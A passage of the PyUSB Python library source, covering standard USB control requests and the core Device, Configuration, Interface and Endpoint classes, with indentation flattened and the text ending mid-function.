The recipient can be None (on which the status will be queried
from the device), an Interface or Endpoint descriptors.
"""
bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT)
dev.ctrl_transfer(bmRequestType = bmRequestType,
bRequest = 0x03,
wIndex = wIndex,
wValue = feature)
def get_descriptor(dev, desc_size, desc_type, desc_index, wIndex = 0):
r"""Return the specified descriptor.
dev is the Device object to which the request will be
sent to.
desc_size is the descriptor size.
desc_type and desc_index are the descriptor type and index,
respectively. wIndex index is used for string descriptors
and represents the Language ID. For other types of descriptors,
it is zero.
"""
wValue = desc_index | (desc_type << 8)
bmRequestType = util.build_request_type(
util.CTRL_IN,
util.CTRL_TYPE_STANDARD,
util.CTRL_RECIPIENT_DEVICE)
return dev.ctrl_transfer(
bmRequestType = bmRequestType,
bRequest = 0x06,
wValue = wValue,
wIndex = wIndex,
data_or_wLength = desc_size)
def set_descriptor(dev, desc, desc_type, desc_index, wIndex = None):
r"""Update an existing descriptor or add a new one.
dev is the Device object to which the request will be
sent to.
The desc parameter is the descriptor to be sent to the device.
desc_type and desc_index are the descriptor type and index,
respectively. wIndex index is used for string descriptors
and represents the Language ID. For other types of descriptors,
it is zero.
"""
wValue = desc_index | (desc_type << 8)
bmRequestType = util.build_request_type(
util.CTRL_OUT,
util.CTRL_TYPE_STANDARD,
util.CTRL_RECIPIENT_DEVICE)
dev.ctrl_transfer(
bmRequestType = bmRequestType,
bRequest = 0x07,
wValue = wValue,
wIndex = wIndex,
data_or_wLength = desc)
def get_configuration(dev):
r"""Get the current active configuration of the device.
dev is the Device object to which the request will be
sent to.
This function differs from the Device.get_active_configuration
method because the later may use cached data, while this
function always does a device request.
"""
bmRequestType = util.build_request_type(
util.CTRL_IN,
util.CTRL_TYPE_STANDARD,
util.CTRL_RECIPIENT_DEVICE)
return dev.ctrl_transfer(
bmRequestType,
bRequest = 0x08,
data_or_wLength = 1)[0]
def set_configuration(dev, bConfigurationNumber):
r"""Set the current device configuration.
dev is the Device object to which the request will be
sent to.
"""
dev.set_configuration(bConfigurationNumber)
def get_interface(dev, bInterfaceNumber):
r"""Get the current alternate setting of the interface.
dev is the Device object to which the request will be
sent to.
"""
bmRequestType = util.build_request_type(
util.CTRL_IN,
util.CTRL_TYPE_STANDARD,
util.CTRL_RECIPIENT_INTERFACE)
return dev.ctrl_transfer(
bmRequestType = bmRequestType,
bRequest = 0x0a,
wIndex = bInterfaceNumber,
data_or_wLength = 1)[0]
def set_interface(dev, bInterfaceNumber, bAlternateSetting):
r"""Set the alternate setting of the interface.
dev is the Device object to which the request will be
sent to.
"""
dev.set_interface_altsetting(bInterfaceNumber, bAlternateSetting)
================================================
FILE: usb/core.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
r"""usb.core - Core USB features.
This module exports:
Device - a class representing a USB device.
Configuration - a class representing a configuration descriptor.
Interface - a class representing an interface descriptor.
Endpoint - a class representing an endpoint descriptor.
find() - a function to find USB devices.
show_devices() - a function to show the devices present.
"""
__author__ = 'Wander Lairson Costa'
__all__ = [ 'Device', 'Configuration', 'Interface', 'Endpoint', 'find',
'show_devices' ]
import usb.util as util
import copy
import operator
import usb._interop as _interop
import usb._objfinalizer as _objfinalizer
import usb._lookup as _lu
import logging
import array
import threading
import functools
_logger = logging.getLogger('usb.core')
_DEFAULT_TIMEOUT = 1000
def _set_attr(input, output, fields):
for f in fields:
setattr(output, f, getattr(input, f))
def _try_get_string(dev, index, langid = None, default_str_i0 = "",
default_access_error = "Error Accessing String"):
""" try to get a string, but return a string no matter what
"""
if index == 0 :
string = default_str_i0
else:
try:
if langid is None:
string = util.get_string(dev, index)
else:
string = util.get_string(dev, index, langid)
except :
string = default_access_error
return string
def _try_lookup(table, value, default = ""):
""" try to get a string from the lookup table, return "" instead of key
error
"""
try:
string = table[ value ]
except KeyError:
string = default
return string
class _DescriptorInfo(str):
""" this class is used so that when a descriptor is shown on the
terminal it is propely formatted """
def __repr__(self):
return self
def synchronized(f):
@functools.wraps(f)
def wrapper(self, *args, **kwargs):
try:
self.lock.acquire()
return f(self, *args, **kwargs)
finally:
self.lock.release()
return wrapper
class _ResourceManager(object):
def __init__(self, dev, backend):
self.backend = backend
self._active_cfg_index = None
self.dev = dev
self.handle = None
self._claimed_intf = _interop._set()
self._ep_info = {}
self.lock = threading.RLock()
@synchronized
def managed_open(self):
if self.handle is None:
self.handle = self.backend.open_device(self.dev)
return self.handle
@synchronized
def managed_close(self):
if self.handle is not None:
self.backend.close_device(self.handle)
self.handle = None
@synchronized
def managed_set_configuration(self, device, config):
if config is None:
cfg = device[0]
elif isinstance(config, Configuration):
cfg = config
elif config == 0: # unconfigured state
class MockConfiguration(object):
def __init__(self):
self.index = None
self.bConfigurationValue = 0
cfg = MockConfiguration()
else:
cfg = util.find_descriptor(device, bConfigurationValue=config)
if cfg is None:
raise ValueError("Invalid configuration " + str(config))
self.managed_open()
self.backend.set_configuration(self.handle, cfg.bConfigurationValue)
# cache the index instead of the object to avoid cyclic references
# of the device and Configuration (Device tracks the _ResourceManager,
# which tracks the Configuration, which tracks the Device)
self._active_cfg_index = cfg.index
self._ep_info.clear()
@synchronized
def managed_claim_interface(self, device, intf):
self.managed_open()
if isinstance(intf, Interface):
i = intf.bInterfaceNumber
else:
i = intf
if i not in self._claimed_intf:
self.backend.claim_interface(self.handle, i)
self._claimed_intf.add(i)
@synchronized
def managed_release_interface(self, device, intf):
if intf is None:
cfg = self.get_active_configuration(device)
i = cfg[(0,0)].bInterfaceNumber
elif isinstance(intf, Interface):
i = intf.bInterfaceNumber
else:
i = intf
if i in self._claimed_intf:
try:
self.backend.release_interface(self.handle, i)
finally:
self._claimed_intf.remove(i)
@synchronized
def managed_set_interface(self, device, intf, alt):
if isinstance(intf, Interface):
i = intf
else:
cfg = self.get_active_configuration(device)
if intf is None:
intf = cfg[(0,0)].bInterfaceNumber
if alt is not None:
i = util.find_descriptor(cfg, bInterfaceNumber=intf, bAlternateSetting=alt)
else:
i = util.find_descriptor(cfg, bInterfaceNumber=intf)
self.managed_claim_interface(device, i)
if alt is None:
alt = i.bAlternateSetting
self.backend.set_interface_altsetting(self.handle, i.bInterfaceNumber, alt)
@synchronized
def setup_request(self, device, endpoint):
# we need the endpoint address, but the "endpoint" parameter
# can be either the a Endpoint object or the endpoint address itself
if isinstance(endpoint, Endpoint):
endpoint_address = endpoint.bEndpointAddress
else:
endpoint_address = endpoint
intf, ep = self.get_interface_and_endpoint(device, endpoint_address)
self.managed_claim_interface(device, intf)
return (intf, ep)
# Find the interface and endpoint objects which endpoint address belongs to
@synchronized
def get_interface_and_endpoint(self, device, endpoint_address):
try:
return self._ep_info[endpoint_address]
except KeyError:
for intf in self.get_active_configuration(device):
ep = util.find_descriptor(intf, bEndpointAddress=endpoint_address)
if ep is not None:
self._ep_info[endpoint_address] = (intf, ep)
return intf, ep
raise ValueError('Invalid endpoint address ' + hex(endpoint_address))
@synchronized
def get_active_configuration(self, device):
if self._active_cfg_index is None:
self.managed_open()
cfg = util.find_descriptor(
device,
bConfigurationValue=self.backend.get_configuration(self.handle)
)
if cfg is None:
raise USBError('Configuration not set')
self._active_cfg_index = cfg.index
return cfg
return device[self._active_cfg_index]
@synchronized
def release_all_interfaces(self, device):
claimed = copy.copy(self._claimed_intf)
for i in claimed:
try:
self.managed_release_interface(device, i)
except USBError:
# Ignore errors when releasing the interfaces
# When the device is disconnected, the call may fail
pass
@synchronized
def dispose(self, device, close_handle = True):
self.release_all_interfaces(device)
if close_handle:
self.managed_close()
self._ep_info.clear()
self._active_cfg_index = None
class USBError(IOError):
r"""Exception class for USB errors.
Backends must raise this exception when USB related errors occur. The
backend specific error code is available through the 'backend_error_code'
member variable.
"""
def __init__(self, strerror, error_code = None, errno = None):
r"""Initialize the object.
This initializes the USBError object. The strerror and errno are passed
to the parent object. The error_code parameter is attributed to the
backend_error_code member variable.
"""
IOError.__init__(self, errno, strerror)
self.backend_error_code = error_code
class NoBackendError(ValueError):
r"Exception class when a valid backend is not found."
pass
class Endpoint(object):
r"""Represent an endpoint object.
This class contains all fields of the Endpoint Descriptor according to the
USB Specification. You can access them as class properties. For example, to
access the field bEndpointAddress of the endpoint descriptor, you can do so:
>>> import usb.core
>>> dev = usb.core.find()
>>> for cfg in dev:
>>> for i in cfg:
>>> for e in i:
>>> print e.bEndpointAddress
"""
def __init__(self, device, endpoint, interface = 0,
alternate_setting = 0, configuration = 0):
r"""Initialize the Endpoint object.
The device parameter is the device object returned by the find()
function. endpoint is the endpoint logical index (not the endpoint
address). The configuration parameter is the logical index of the
configuration (not the bConfigurationValue field). The interface
parameter is the interface logical index (not the bInterfaceNumber
field) and alternate_setting is the alternate setting logical index
(not the bAlternateSetting value). An interface may have only one
alternate setting. In this case, the alternate_setting parameter
should be zero. By "logical index" we mean the relative order of the
configurations returned by the peripheral as a result of GET_DESCRIPTOR
request.
"""
self.device = device
self.index = endpoint
backend = device._ctx.backend
desc = backend.get_endpoint_descriptor(
device._ctx.dev,
endpoint,
interface,
alternate_setting,
configuration
)
_set_attr(
desc,
self,
(
'bLength',
'bDescriptorType',
'bEndpointAddress',
'bmAttributes',
'wMaxPacketSize',
'bInterval',
'bRefresh',
'bSynchAddress',
'extra_descriptors'
)
)
def __repr__(self):
return "<" + self._str() + ">"
def __str__(self):
headstr = " " + self._str() + " "
if util.endpoint_direction(self.bEndpointAddress) == util.ENDPOINT_IN:
direction = "IN"
else:
direction = "OUT"
return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \
" %-17s:%#7x (7 bytes)\n" % (
"bLength", self.bLength) + \
" %-17s:%#7x %s\n" % (
"bDescriptorType", self.bDescriptorType,
_try_lookup(_lu.descriptors, self.bDescriptorType)) + \
" %-17s:%#7x %s\n" % (
"bEndpointAddress", self.bEndpointAddress, direction) + \
" %-17s:%#7x %s\n" % (
"bmAttributes", self.bmAttributes,
_lu.ep_attributes[(self.bmAttributes & 0x3)]) + \
" %-17s:%#7x (%d bytes)\n" % (
"wMaxPacketSize", self.wMaxPacketSize, self.wMaxPacketSize) + \
" %-17s:%#7x" % ("bInterval", self.bInterval)
def write(self, data, timeout = None):
r"""Write data to the endpoint.
The parameter data contains the data to be sent to the endpoint and
timeout is the time limit of the operation. The transfer type and
endpoint address are automatically inferred.
The method returns the number of bytes written.
For details, see the Device.write() method.
"""
return self.device.write(self, data, timeout)
def read(self, size_or_buffer, timeout = None):
r"""Read data from the endpoint.
The parameter size_or_buffer is either the number of bytes to
read or an array object where the data will be put in and timeout is the
time limit of the operation. The transfer type and endpoint address
are automatically inferred.
The method returns either an array object or the number of bytes
actually read.
For details, see the Device.read() method.
"""
return self.device.read(self, size_or_buffer, timeout)
def clear_halt(self):
r"""Clear the halt/status condition of the endpoint."""
self.device.clear_halt(self.bEndpointAddress)
def _str(self):
if util.endpoint_direction(self.bEndpointAddress) == util.ENDPOINT_IN:
direction = "IN"
else:
direction = "OUT"
return (
"ENDPOINT 0x%X: %s %s" % (self.bEndpointAddress,
_lu.ep_attributes[(self.bmAttributes & 0x3)],
direction))
class Interface(object):
r"""Represent an interface object.
This class contains all fields of the Interface Descriptor
according to the USB Specification. You may access them as class
properties. For example, to access the field bInterfaceNumber
of the interface descriptor, you can do so:
>>> import usb.core
>>> dev = usb.core.find()
>>> for cfg in dev:
>>> for i in cfg:
>>> print i.bInterfaceNumber
"""
def __init__(self, device, interface = 0,
alternate_setting = 0, configuration = 0):
r"""Initialize the interface object.
The device parameter is the device object returned by the find()
function. The configuration parameter is the logical index of the
configuration (not the bConfigurationValue field). The interface
parameter is the interface logical index (not the bInterfaceNumber
field) and alternate_setting is the alternate setting logical index
(not the bAlternateSetting value). An interface may have only one
alternate setting. In this case, the alternate_setting parameter
should be zero. By "logical index" we mean the relative order of
the configurations returned by the peripheral as a result of
GET_DESCRIPTOR request.
"""
self.device = device
self.alternate_index = alternate_setting
self.index = interface
self.configuration = configuration
backend = device._ctx.backend
desc = backend.get_interface_descriptor(
self.device._ctx.dev,
interface,
alternate_setting,
configuration
)
_set_attr(
desc,
self,
(
'bLength',
'bDescriptorType',
'bInterfaceNumber',
'bAlternateSetting',
'bNumEndpoints',
'bInterfaceClass',
'bInterfaceSubClass',
'bInterfaceProtocol',
'iInterface',
'extra_descriptors'
)
)
def __repr__(self):
return "<" + self._str() + ">"
def __str__(self):
"""Show all information for the interface."""
string = self._get_full_descriptor_str()
for endpoint in self:
string += "\n" + str(endpoint)
return string
def endpoints(self):
r"""Return a tuple of the interface endpoints."""
return tuple(self)
def set_altsetting(self):
r"""Set the interface alternate setting."""
self.device.set_interface_altsetting(
self.bInterfaceNumber,
self.bAlternateSetting)
def __iter__(self):
r"""Iterate over all endpoints of the interface."""
for i in range(self.bNumEndpoints):
yield Endpoint(
self.device,
i,
self.index,
self.alternate_index,
self.configuration)
def __getitem__(self, index):
r"""Return the Endpoint object in the given position."""
return Endpoint(
self.device,
index,
self.index,
self.alternate_index,
self.configuration)
def _str(self):
if self.bAlternateSetting:
alt_setting = ", %d" % self.bAlternateSetting
else:
alt_setting = ""
return "INTERFACE %d%s: %s" % (self.bInterfaceNumber, alt_setting,
_try_lookup(_lu.interface_classes, self.bInterfaceClass,
default = "Unknown Class"))
def _get_full_descriptor_str(self):
headstr = " " + self._str() + " "
return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \
" %-19s:%#7x (9 bytes)\n" % (
"bLength", self.bLength) + \
" %-19s:%#7x %s\n" % (
"bDescriptorType", self.bDescriptorType,
_try_lookup(_lu.descriptors, self.bDescriptorType)) + \
" %-19s:%#7x\n" % (
"bInterfaceNumber", self.bInterfaceNumber) + \
" %-19s:%#7x\n" % (
"bAlternateSetting", self.bAlternateSetting) + \
" %-19s:%#7x\n" % (
"bNumEndpoints", self.bNumEndpoints) + \
" %-19s:%#7x %s\n" % (
"bInterfaceClass", self.bInterfaceClass,
_try_lookup(_lu.interface_classes, self.bInterfaceClass)) + \
" %-19s:%#7x\n" % (
"bInterfaceSubClass", self.bInterfaceSubClass) + \
" %-19s:%#7x\n" % (
"bInterfaceProtocol", self.bInterfaceProtocol) + \
" %-19s:%#7x %s" % (
"iInterface", self.iInterface,
_try_get_string(self.device, self.iInterface))
class Configuration(object):
r"""Represent a configuration object.
This class contains all fields of the Configuration Descriptor according to
the USB Specification. You may access them as class properties. For
example, to access the field bConfigurationValue of the configuration
descriptor, you can do so:
>>> import usb.core
>>> dev = usb.core.find()
>>> for cfg in dev:
>>> print cfg.bConfigurationValue
"""
def __init__(self, device, configuration = 0):
r"""Initialize the configuration object.
The device parameter is the device object returned by the find()
function. The configuration parameter is the logical index of the
configuration (not the bConfigurationValue field). By "logical index"
we mean the relative order of the configurations returned by the
peripheral as a result of GET_DESCRIPTOR request.
"""
self.device = device
self.index = configuration
backend = device._ctx.backend
desc = backend.get_configuration_descriptor(
self.device._ctx.dev,
configuration
)
_set_attr(
desc,
self,
(
'bLength',
'bDescriptorType',
'wTotalLength',
'bNumInterfaces',
'bConfigurationValue',
'iConfiguration',
'bmAttributes',
'bMaxPower',
'extra_descriptors'
)
)
def __repr__(self):
return "<" + self._str() + ">"
def __str__(self):
string = self._get_full_descriptor_str()
for interface in self:
string += "\n%s" % str(interface)
return string
def interfaces(self):
r"""Return a tuple of the configuration interfaces."""
return tuple(self)
def set(self):
r"""Set this configuration as the active one."""
self.device.set_configuration(self.bConfigurationValue)
def __iter__(self):
r"""Iterate over all interfaces of the configuration."""
for i in range(self.bNumInterfaces):
alt = 0
try:
while True:
yield Interface(self.device, i, alt, self.index)
alt += 1
except (USBError, IndexError):
pass
def __getitem__(self, index):
r"""Return the Interface object in the given position.
index is a tuple of two values with interface index and
alternate setting index, respectivally. Example:
>>> interface = config[(0, 0)]
"""
return Interface(self.device, index[0], index[1], self.index)
def _str(self):
return "CONFIGURATION %d: %d mA" % (
self.bConfigurationValue,
_lu.MAX_POWER_UNITS_USB2p0 * self.bMaxPower)
def _get_full_descriptor_str(self):
headstr = " " + self._str() + " "
if self.bmAttributes & (1<<6):
powered = "Self"
else:
powered = "Bus"
if self.bmAttributes & (1<<5):
remote_wakeup = ", Remote Wakeup"
else:
remote_wakeup = ""
return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \
" %-21s:%#7x (9 bytes)\n" % (
"bLength", self.bLength) + \
" %-21s:%#7x %s\n" % (
"bDescriptorType", self.bDescriptorType,
_try_lookup(_lu.descriptors, self.bDescriptorType)) + \
" %-21s:%#7x (%d bytes)\n" % (
"wTotalLength", self.wTotalLength, self.wTotalLength) + \
" %-21s:%#7x\n" % (
"bNumInterfaces", self.bNumInterfaces) + \
" %-21s:%#7x\n" % (
"bConfigurationValue", self.bConfigurationValue) + \
" %-21s:%#7x %s\n" % (
"iConfiguration", self.iConfiguration,
_try_get_string(self.device, self.iConfiguration)) + \
" %-21s:%#7x %s Powered%s\n" % (
"bmAttributes", self.bmAttributes, powered, remote_wakeup
# bit 7 is high, bit 4..0 are 0
) + \
" %-21s:%#7x (%d mA)" % (
"bMaxPower", self.bMaxPower,
_lu.MAX_POWER_UNITS_USB2p0 * self.bMaxPower)
# FIXME : add a check for superspeed vs usb 2.0
class Device(_objfinalizer.AutoFinalizedObject):
r"""Device object.
This class contains all fields of the Device Descriptor according to the
USB Specification. You may access them as class properties. For example,
to access the field bDescriptorType of the device descriptor, you can
do so:
>>> import usb.core
>>> dev = usb.core.find()
>>> dev.bDescriptorType
Additionally, the class provides methods to communicate with the hardware.
Typically, an application will first call the set_configuration() method to
put the device in a known configured state, optionally call the
set_interface_altsetting() to select the alternate setting (if there is
more than one) of the interface used, and call the write() and read()
methods to send and receive data, respectively.
When working in a new hardware, the first try could be like this:
>>> import usb.core
>>> dev = usb.core.find(idVendor=myVendorId, idProduct=myProductId)
>>> dev.set_configuration()
>>> dev.write(1, 'test')
This sample finds the device of interest (myVendorId and myProductId should
be replaced by the corresponding values of your device), then configures
the device (by default, the configuration value is 1, which is a typical
value for most devices) and then writes some data to the endpoint 0x01.
Timeout values for the write, read and ctrl_transfer methods are specified
in miliseconds. If the parameter is omitted, Device.default_timeout value
will be used instead. This property can be set by the user at anytime.
"""
def __repr__(self):
return "<" + self._str() + ">"
def __str__(self):
string = self._get_full_descriptor_str()
try:
for configuration in self:
string += "\n%s" % str(configuration)
except USBError:
try:
configuration = self.get_active_configuration()
string += "\n%s" % (configuration.info)
except USBError:
string += " USBError Accessing Configurations"
return string
def configurations(self):
r"""Return a tuple of the device configurations."""
return tuple(self)
def __init__(self, dev, backend):
r"""Initialize the Device object.
Library users should normally get a Device instance through
the find function. The dev parameter is the identification
of a device to the backend and its meaning is opaque outside
of it. The backend parameter is a instance of a backend
object.
"""
self._ctx = _ResourceManager(dev, backend)
self.__default_timeout = _DEFAULT_TIMEOUT
self._serial_number, self._product, self._manufacturer = None, None, None
self._langids = None
desc = backend.get_device_descriptor(dev)
_set_attr(
desc,
self,
(
'bLength',
'bDescriptorType',
'bcdUSB',
'bDeviceClass',
'bDeviceSubClass',
'bDeviceProtocol',
'bMaxPacketSize0',
'idVendor',
'idProduct',
'bcdDevice',
'iManufacturer',
'iProduct',
'iSerialNumber',
'bNumConfigurations',
'address',
'bus',
'port_number',
'port_numbers',
'speed',
)
)
if desc.bus is not None:
self.bus = int(desc.bus)
else:
self.bus = None
if desc.address is not None:
self.address = int(desc.address)
else:
self.address = None
if desc.port_number is not None:
self.port_number = int(desc.port_number)
else:
self.port_number = None
if desc.speed is not None:
self.speed = int(desc.speed)
else:
self.speed = None
@property
def langids(self):
""" Return the USB device's supported language ID codes.
These are 16-bit codes familiar to Windows developers, where for
example instead of en-US you say 0x0409. USB_LANGIDS.pdf on the usb.org
developer site for more info. String requests using a LANGID not
in this array should not be sent to the device.
This property will cause some USB traffic the first time it is accessed
and cache the resulting value for future use.
"""
if self._langids is None:
try:
self._langids = util.get_langids(self)
except USBError:
self._langids = ()
return self._langids
@property
def serial_number(self):
""" Return the USB device's serial number string descriptor.
This property will cause some USB traffic the first time it is accessed
and cache the resulting value for future use.
"""
if self._serial_number is None:
self._serial_number = util.get_string(self, self.iSerialNumber)
return self._serial_number
@property
def product(self):
""" Return the USB device's product string descriptor.
This property will cause some USB traffic the first time it is accessed
and cache the resulting value for future use.
"""
if self._product is None:
self._product = util.get_string(self, self.iProduct)
return self._product
@property
def manufacturer(self):
""" Return the USB device's manufacturer string descriptor.
This property will cause some USB traffic the first time it is accessed
and cache the resulting value for future use.
"""
if self._manufacturer is None:
self._manufacturer = util.get_string(self, self.iManufacturer)
return self._manufacturer
@property
def backend(self):
"""Return the backend being used by the device."""
return self._ctx.backend
def set_configuration(self, configuration = None):
r"""Set the active configuration.
The configuration parameter is the bConfigurationValue field of the
configuration you want to set as active. If you call this method
without parameter, it will use the first configuration found. As a
device hardly ever has more than one configuration, calling the method
without arguments is enough to get the device ready.
"""
self._ctx.managed_set_configuration(self, configuration)
def get_active_configuration(self):
r"""Return a Configuration object representing the current
configuration set.
"""
return self._ctx.get_active_configuration(self)
def set_interface_altsetting(self, interface = None, alternate_setting = None):
r"""Set the alternate setting for an interface.
When you want to use an interface and it has more than one alternate
setting, you should call this method to select the appropriate
alternate setting. If you call the method without one or the two
parameters, it will be selected the first one found in the Device in
the same way of the set_configuration method.
Commonly, an interface has only one alternate setting and this call is
not necessary. For most devices, either it has more than one
alternate setting or not, it is not harmful to make a call to this
method with no arguments, as devices will silently ignore the request
when there is only one alternate setting, though the USB Spec allows
devices with no additional alternate setting return an error to the
Host in response to a SET_INTERFACE request.
If you are in doubt, you may want to call it with no arguments wrapped
by a try/except clause:
>>> try:
>>> dev.set_interface_altsetting()
>>> except usb.core.USBError:
>>> pass
"""
self._ctx.managed_set_interface(self, interface, alternate_setting)
def clear_halt(self, ep):
r""" Clear the halt/stall condition for the endpoint ep."""
if isinstance(ep, Endpoint):
ep = ep.bEndpointAddress
self._ctx.managed_open()
self._ctx.backend.clear_halt(self._ctx.handle, ep)
def reset(self):
r"""Reset the device."""
self._ctx.managed_open()
self._ctx.dispose(self, False)
self._ctx.backend.reset_device(self._ctx.handle)
self._ctx.dispose(self, True)
def write(self, endpoint, data, timeout = None):
r"""Write data to the endpoint.
This method is used to send data to the device. The endpoint parameter
corresponds to the bEndpointAddress member whose endpoint you want to
communicate with.
The data parameter should be a sequence like type convertible to
the array type (see array module).
The timeout is specified in miliseconds.
The method returns the number of bytes written.
"""
backend = self._ctx.backend
fn_map = {
util.ENDPOINT_TYPE_BULK:backend.bulk_write,
util.ENDPOINT_TYPE_INTR:backend.intr_write,
util.ENDPOINT_TYPE_ISO:backend.iso_write
}
intf, ep = self._ctx.setup_request(self, endpoint)
fn = fn_map[util.endpoint_type(ep.bmAttributes)]
return fn(
self._ctx.handle,
ep.bEndpointAddress,
intf.bInterfaceNumber,
_interop.as_array(data),
self.__get_timeout(timeout)
)
def read(self, endpoint, size_or_buffer, timeout = None):
r"""Read data from the endpoint.
This method is used to receive data from the device. The endpoint
parameter corresponds to the bEndpointAddress member whose endpoint
you want to communicate with. The size_or_buffer parameter either
tells how many bytes you want to read or supplies the buffer to
receive the data (it *must* be an object of the type array).
The timeout is specified in miliseconds.
If the size_or_buffer parameter is the number of bytes to read, the
method returns an array object with the data read. If the
size_or_buffer parameter is an array object, it returns the number
of bytes actually read.
"""
backend = self._ctx.backend
fn_map = {
util.ENDPOINT_TYPE_BULK:backend.bulk_read,
util.ENDPOINT_TYPE_INTR:backend.intr_read,
util.ENDPOINT_TYPE_ISO:backend.iso_read
}
intf, ep = self._ctx.setup_request(self, endpoint)
fn = fn_map[util.endpoint_type(ep.bmAttributes)]
if isinstance(size_or_buffer, array.array):
buff = size_or_buffer
else: # here we consider it is a integer
buff = util.create_buffer(size_or_buffer)
ret = fn(
self._ctx.handle,
ep.bEndpointAddress,
intf.bInterfaceNumber,
buff,
self.__get_timeout(timeout))
if isinstance(size_or_buffer, array.array):
return ret
elif ret != len(buff) * buff.itemsize:
return buff[:ret]
else:
return buff
def ctrl_transfer(self, bmRequestType, bRequest, wValue=0, wIndex=0,
data_or_wLength = None, timeout = None):
r"""Do a control transfer on the endpoint 0.
This method is used to issue a control transfer over the endpoint 0
(endpoint 0 is required to always be a control endpoint).
The parameters bmRequestType, bRequest, wValue and wIndex are the same
of the USB Standard Control Request format.
Control requests may or may not have a data payload to write/read.
In cases which it has, the direction bit of the bmRequestType
field is used to infer the desired request direction. For
host to device requests (OUT), data_or_wLength parameter is
the data payload to send, and it must be a sequence type convertible
to an array object. In this case, the return value is the number
of bytes written in the data payload. For device to host requests
(IN), data_or_wLength is either the wLength parameter of the control
request specifying the number of bytes to read in data payload, and
the return value is an array object with data read, or an array
object which the data will be read to, and the return value is the
number of bytes read.
"""
try:
buff = util.create_buffer(data_or_wLength)
except TypeError:
buff = _interop.as_array(data_or_wLength)
self._ctx.managed_open()
# Thanks to Johannes Stezenbach to point me out that we need to
# claim the recipient interface
recipient = bmRequestType & 3
rqtype = bmRequestType & (3 << 5)
if recipient == util.CTRL_RECIPIENT_INTERFACE \
and rqtype != util.CTRL_TYPE_VENDOR:
interface_number = wIndex & 0xff
self._ctx.managed_claim_interface(self, interface_number)
ret = self._ctx.backend.ctrl_transfer(
self._ctx.handle,
bmRequestType,
bRequest,
wValue,
wIndex,
buff,
self.__get_timeout(timeout))
if isinstance(data_or_wLength, array.array) \
or util.ctrl_direction(bmRequestType) == util.CTRL_OUT:
return ret
elif ret != len(buff) * buff.itemsize:
return buff[:ret]
else:
return buff
def is_kernel_driver_active(self, interface):
r"""Determine if there is kernel driver associated with the interface.
If a kernel driver is active, the object will be unable to perform
I/O.
The interface parameter is the device interface number to check.
"""
self._ctx.managed_open()
return self._ctx.backend.is_kernel_driver_active(
self._ctx.handle,
interface)
def detach_kernel_driver(self, interface):
r"""Detach a kernel driver.
If successful, you will then be able to perform I/O.
The interface parameter is the device interface number to detach the
driver from.
"""
self._ctx.managed_open()
self._ctx.backend.detach_kernel_driver(
self._ctx.handle,
interface)
def attach_kernel_driver(self, interface):
r"""Re-attach an interface's kernel driver, which was previously
detached using detach_kernel_driver().
The interface parameter is the device interface number to attach the
driver to.
"""
self._ctx.managed_open()
self._ctx.backend.attach_kernel_driver(
self._ctx.handle,
interface)
def __iter__(self):
r"""Iterate over all configurations of the device."""
for i in range(self.bNumConfigurations):
yield Configuration(self, i)
def __getitem__(self, index):
r"""Return the Configuration object in the given position."""
return Configuration(self, index)
def _finalize_object(self):
self._ctx.dispose(self)
def __get_timeout(self, timeout):
if timeout is not None:
return timeout
return self.__default_timeout
def __set_def_tmo(self, tmo):
if tmo < 0:
raise ValueError('Timeout cannot be a negative value')
self.__default_timeout = tmo
def __get_def_tmo(self):
return self.__default_timeout
def _str(self):
return "DEVICE ID %04x:%04x on Bus %03d Address %03d" % (
self.idVendor, self.idProduct, self.bus, self.address)
def _get_full_descriptor_str(self):
headstr = self._str() + " "
if self.bcdUSB & 0xf:
low_bcd_usb = str(self.bcdUSB & 0xf)
else:
low_bcd_usb = ""
if self.bcdDevice & 0xf:
low_bcd_device = str(self.bcdDevice & 0xf)
else:
low_bcd_device = ""
return "%s%s\n" % (headstr, "=" * (60 - len(headstr))) + \
" %-23s:%#7x (18 bytes)\n" % (
"bLength", self.bLength) + \
" %-23s:%#7x %s\n" % (
"bDescriptorType", self.bDescriptorType,
_try_lookup(_lu.descriptors, self.bDescriptorType)) + \
" %-23s:%#7x USB %d.%d%s\n" % (
"bcdUSB", self.bcdUSB, (self.bcdUSB & 0xff00)>>8,
(self.bcdUSB & 0xf0) >> 4, low_bcd_usb) + \
" %-23s:%#7x %s\n" % (
"bDeviceClass", self.bDeviceClass,
_try_lookup(_lu.device_classes, self.bDeviceClass)) + \
" %-23s:%#7x\n" % (
"bDeviceSubClass", self.bDeviceSubClass) + \
" %-23s:%#7x\n" % (
"bDeviceProtocol", self.bDeviceProtocol) + \
" %-23s:%#7x (%d bytes)\n" % (
"bMaxPacketSize0", self.bMaxPacketSize0, self.bMaxPacketSize0) + \
" %-23s: %#06x\n" % (
"idVendor", self.idVendor) + \
" %-23s: %#06x\n" % (
"idProduct", self.idProduct) + \
" %-23s:%#7x Device %d.%d%s\n" % (
"bcdDevice", self.bcdDevice, (self.bcdDevice & 0xff00)>>8,
